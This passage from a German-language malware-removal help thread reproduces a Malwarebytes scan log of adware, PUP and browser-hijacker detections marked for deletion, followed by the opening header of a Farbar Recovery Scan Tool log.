PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\perm.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\perm_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\race.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\rel.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\return.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\return_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\root.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\umask.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test\umask_sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\mkdirp\readme.markdown, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\old.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy\wrappy.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\inflight.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\example\map.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\test\map.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\README.markdown, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\minimatch.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy\wrappy.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\once.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute\readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\changelog.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\common.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\glob.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\sync.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\bin.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules\rimraf\rimraf.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\fstream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\inherits\inherits.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\inherits\inherits_browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\inherits\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\inherits\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\00-setup-fixtures.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\cb-never-called-1.0.1.tgz, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\dir-normalization.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\dir-normalization.tar, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\error-on-broken.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\extract-move.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\extract.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\fixtures.tgz, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\header.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\pack-no-proprietary.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\pack.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\parse-discard.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\parse.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test\zz-cleanup.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\tar.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\lib\config.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\lib\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\async\lib\async.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\async\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\async\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\async\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\benchmark\bench.gnu, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\benchmark\bench.sh, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\benchmark\benchmark-native.c, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\benchmark\benchmark.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\benchmark\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\lib\sha1-browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\test\compare_v1.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\test\test.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\test\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\bower.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\uuid.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\node-uuid\v3.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\underscore\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\underscore\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\underscore\underscore-min.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\underscore\underscore-min.map, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\underscore\underscore.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\event.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\exception.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\item.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\middleware.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\mocha.opts, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\pageview.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\send.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\timing.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\transaction.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test\_enqueue.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\AcceptableParams.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\HISTORY.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\storage\storage.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\storage\storageUtil.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\index.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\jquery.min.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\main.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\report.bin, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\settings.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\shallow.html, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.Goobzo, C:\WINDOWS\SYSTEM32\TASKS\SMW_UpdateTask_Time_313435353035373830362d6c375a5a5b6c32322d343441, Löschen bei Neustart, [347], [189916],1.0.2075
Adware.NetUtils, C:\WINDOWS\SYSTEM32\DRIVERS\NETUTILS2016.SYS, Löschen bei Neustart, [1115], [385134],1.0.2075
Adware.Elex.Generic, C:\WINDOWS\SYSTEM32\TASKS\MICROSOFT\WINDOWS\DEVICESETTINGS\Holsychodush, Löschen bei Neustart, [1107], [402798],1.0.2075
PUP.Optional.FFHijacker, C:\PROGRAM FILES (X86)\MOZILLA FIREFOX\DEFAULTS\PREF\13802781.JS, Löschen bei Neustart, [1140], [330648],1.0.2075
PUP.Optional.YesSearches, C:\WINDOWS\SYSTEM32\TASKS\Ckadoleatgy Nodifier, Löschen bei Neustart, [98], [182792],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\BCKP6M63.DEFAULT\SEARCHPLUGINS\BVHGCTV8.XML, Löschen bei Neustart, [2], [387119],1.0.2075
Trojan.WMIHijacker.ClnShrt, C:\USERS\****\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\BCKP6M63.DEFAULT\SESSIONSTORE-BACKUPS\RECOVERY.JS, Ersetzt, [2240], [358768],1.0.2075
Trojan.WMIHijacker.ClnShrt, C:\USERS\****\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\BCKP6M63.DEFAULT\SESSIONSTORE-BACKUPS\RECOVERY.JS, Ersetzt, [2240], [394154],1.0.2075

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)


(end)

Twix. 03.06.2017 00:29
FRST:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 02-06-2017
durchgeführt von **** (Administrator) auf WHOPPER (03-06-2017 00:45:00)
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** &  (Verfügbare Profile: ****)
Platform: Windows 10 Home Version 1703 (X64) Sprache: Deutsch (Deutschland)
